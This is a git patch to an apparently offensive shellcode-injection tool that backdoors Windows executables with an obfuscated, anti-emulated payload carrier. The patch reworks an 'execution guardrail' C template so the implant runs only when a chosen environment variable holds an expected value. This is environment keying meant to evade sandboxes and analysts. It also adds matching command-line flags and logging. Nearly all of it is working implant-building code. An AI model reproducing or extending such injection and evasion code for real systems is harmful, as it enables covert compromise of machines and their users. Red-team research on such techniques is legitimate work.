From ca1f49707403e19337d120b6f79b004b22729c7e Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Mon, 9 Jun 2025 22:09:32 +0200 Subject: [PATCH] feature: rework guardrails --- app/views_project.py | 3 +- data/source/guardrails/env.c | 57 +++++++++++++++++++++++------------- model/settings.py | 3 +- phases/templater.py | 14 ++++++--- supermega.py | 40 ++++++++++++++++++++----- 5 files changed, 84 insertions(+), 33 deletions(-) diff --git a/app/views_project.py b/app/views_project.py index 5d0c592..94996cb 100644 --- a/app/views_project.py +++ b/app/views_project.py @@ -211,7 +211,8 @@ def add_project(): settings.decoder_style = request.form['decoder_style'] payload_location = request.form['payload_location'] settings.payload_location = PayloadLocation[payload_location] - settings.plugin_guardrail_data = request.form.get('guardrail_data', settings.plugin_guardrail_data) + settings.plugin_guardrail_data_key = request.form.get('guardrail_data_key', settings.plugin_guardrail_data_key) + settings.plugin_guardrail_data_value = request.form.get('guardrail_data_value', settings.plugin_guardrail_data_value) settings.plugin_virtualprotect = request.form.get('virtualprotect', "standard") # overwrite project diff --git a/data/source/guardrails/env.c b/data/source/guardrails/env.c index 251f942..ee30448 100644 --- a/data/source/guardrails/env.c +++ b/data/source/guardrails/env.c @@ -1,29 +1,46 @@ +char my_tolower(char c) { + if (c >= 'A' && c <= 'Z') { + return c + ('a' - 'A'); // or return c + 32; + } + return c; +} -int mystrcmp(wchar_t* str1, wchar_t* str2) { - int i = 0; - while (str1[i] != L'\0' && str2[i] != L'\0') { - if (str1[i] != str2[i]) { - return 1; - } - i++; - } - return 0; +// Returns 1 if 'needle' is found in 'haystack' (case-insensitive), 0 otherwise +int contains_case_insensitive(const char* haystack, const char* needle) { + if (!haystack || !needle) + return 0; + + for (; *haystack; haystack++) { + const char* h = haystack; + const char* n = needle; + + while (*h && *n && my_tolower((unsigned char)*h) == my_tolower((unsigned char)*n)) { + h++; + n++; + } + + if (*n == '\0') { + return 1; // Match found + } + } + + return 0; // No match } int executionguardrail() { - // Execution Guardrail: Env Check - wchar_t envVarName[] = L"USERPROFILE"; - wchar_t tocheck[] = L"{{guardrail_data}}"; - WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! - DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024); - if (result == 0) { - return 6; - } - if (mystrcmp(buffer, tocheck) != 0) { - return 6; - } + // Execution Guardrail: Env Check + LPCSTR envVarName = "{{guardrail_data_key}}"; + LPCSTR tocheck = "{{guardrail_data_value}}"; + char buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! + DWORD result = GetEnvironmentVariableA(envVarName, buffer, 1024); + if (result == 0) { + return 6; + } + if (! contains_case_insensitive(buffer, tocheck)) { + return 6; + } return 0; } diff --git a/model/settings.py b/model/settings.py index 470e15c..10c0d44 100644 --- a/model/settings.py +++ b/model/settings.py @@ -17,7 +17,8 @@ class Settings(): self.plugin_antiemulation: str = "none" self.plugin_decoy: str = "none" self.plugin_guardrail: str = "none" - self.plugin_guardrail_data: str = "C:\\\\Users\\\\hacker" + self.plugin_guardrail_data_key: str = "" + self.plugin_guardrail_data_value: str = "" self.plugin_virtualprotect: str = "standard" self.plugin_virtualprotect_data: str = "" diff --git a/phases/templater.py b/phases/templater.py index b57e62c..bb4c455 100644 --- a/phases/templater.py +++ b/phases/templater.py @@ -53,9 +53,14 @@ def create_c_from_template(settings: Settings, payload_len: int): logger.info(" Carrier AntiEmulation: {}".format( settings.plugin_antiemulation) ) - logger.info(" Carrier Guardrail: {}".format( - settings.plugin_guardrail) - ) + if settings.plugin_guardrail != "none": + logger.info(" Carrier Guardrail: {} (key: {} value: {})".format( + settings.plugin_guardrail, + settings.plugin_guardrail_data_key, + settings.plugin_guardrail_data_value) + ) + else: + logger.info(" Carrier Guardrail: none") logger.info(" Carrier Decoy: {}".format( settings.plugin_decoy) ) @@ -75,7 +80,8 @@ def create_c_from_template(settings: Settings, payload_len: int): with open(filepath_guardrails, "r", encoding='utf-8') as file: plugin_guardrails = file.read() plugin_guardrails = Template(plugin_guardrails).render({ - 'guardrail_data': settings.plugin_guardrail_data, + 'guardrail_data_key': settings.plugin_guardrail_data_key, + 'guardrail_data_value': settings.plugin_guardrail_data_value, }) # Plugin: Decoder diff --git a/supermega.py b/supermega.py index f682992..eec10e4 100644 --- a/supermega.py +++ b/supermega.py @@ -34,7 +34,10 @@ def main(): parser.add_argument('--carrier', type=str, help='carrier: data/source/carrier/* (alloc_rw_rx, peb_walk, ...)', default="alloc_rw_rx") parser.add_argument('--decoder', type=str, help='decoder: data/source/decoders/* (xor_1, xor_2, plain, ...)', default="xor_2") parser.add_argument('--antiemulation', type=str, help='anti-emulation: data/source/antiemulation/* (sirallocalot, timeraw, none, ...)', default="sirallocalot") - parser.add_argument('--fix-iat', action='store_true', help='Fix missing IAT entries in the infectable executable', default=True) + parser.add_argument('--guardrail', type=str, help='guardrails: Enable execution guardrails', default="none") + parser.add_argument('--guardrail-key', type=str, help='guardrails: key', default="") + parser.add_argument('--guardrail-value', type=str, help='guardrails: value', default="") + parser.add_argument('--no-fix-iat', action='store_true', help='Fix missing IAT entries in the infectable executable', default=False) parser.add_argument('--carrier_invoke', type=str, help='how carrier is started: \"backdoor\" to rewrite call instruction, \"eop\" for entry point', choices=["eop", "backdoor"], default="backdoor") parser.add_argument('--start', action='store_true', help='Start the infected executable at the end for testing') parser.add_argument('--short-call-patching', action='store_true', help='Debug: Make short calls long. You will know when you need it.') @@ -51,10 +54,23 @@ def main(): else: setup_logging(logging.INFO) - settings.try_start_final_infected_exe = args.start_injected + settings.try_start_final_infected_exe = args.start settings.cleanup_files_on_start = not args.no_clean_at_start settings.cleanup_files_on_exit =not args.no_clean_at_exit + settings.fix_missing_iat = not args.no_fix_iat + if args.guardrail: + settings.plugin_guardrail = args.guardrail + settings.plugin_guardrail_data_key = args.guardrail_key + settings.plugin_guardrail_data_value = args.guardrail_value + + logger.info("-( Config: Implant IAT fixup if necessary: {}".format(settings.fix_missing_iat)) + if settings.plugin_guardrail != "none": + logger.info("-( Config: Guardrails Plugin: {} {}/{}".format( + settings.plugin_guardrail, + settings.plugin_guardrail_data_key, + settings.plugin_guardrail_data_value)) + # Shellcode: filename # Inject: filename settings.init_payload_injectable( @@ -130,14 +146,14 @@ def sanity_checks(settings): -def start_real(settings: Settings): +def start_real(settings: Settings) -> bool: """Main entry point for the application. This is where the magic happens (based on settings)""" # Load our input project = Project(settings) if not project.init(): logger.error("Error initializing project") - return 1 + return False # CHECK if 64 bit if not project.injectable.superpe.is_64(): @@ -158,7 +174,7 @@ def start_real(settings: Settings): phases.templater.create_c_from_template(settings, len(project.payload.payload_data)) except FileNotFoundError as e: logger.error("Error creating C from template: {}".format(e)) - return 1 + return False # PREPARE DataReuseEntry for usage in Compiler/AsmTextParser # So the carrier is able to find the payload @@ -181,7 +197,7 @@ def start_real(settings: Settings): settings = project.settings) except ChildProcessError as e: logger.error("Error compiling C to ASM: {}".format(e)) - return + return False # we have the carrier-required IAT entries in carrier.iat_requests # CHECK if all are available in infectable, or abort (early check) @@ -190,7 +206,8 @@ def start_real(settings: Settings): logging.error("IAT entries not found in infectable: {}".format(", ".join(functions))) logging.error("The carrier depends on these functions, but they are not available in the infectable exe.") logging.error("Use another infectable exe, or update the carrier to not depend on these functions.") - raise Exception("Required carrier import not found in infectable: {}".format(", ".join(functions))) + logging.error(" or dont use --no-fix-iat") + return False # ASSEMBLE: Assemble .asm to .shc (ASM -> SHC) carrier_shellcode: bytes = phases.assembler.asm_to_shellcode( @@ -227,6 +244,15 @@ def start_real(settings: Settings): elif settings.try_start_final_infected_exe: run_exe(settings.inject_exe_out, dllfunc=settings.dllfunc, check=False) + if settings.plugin_guardrail != "none": + logger.warning("! Remember your guardrails settings when testing") + logger.warning("! {}: {} / {}".format( + settings.plugin_guardrail, + settings.plugin_guardrail_data_key, + settings.plugin_guardrail_data_value)) + + return True + def obfuscate_shc_loader(file_shc_in, file_shc_out): logger.info(" Obfuscate shellcode with SGN")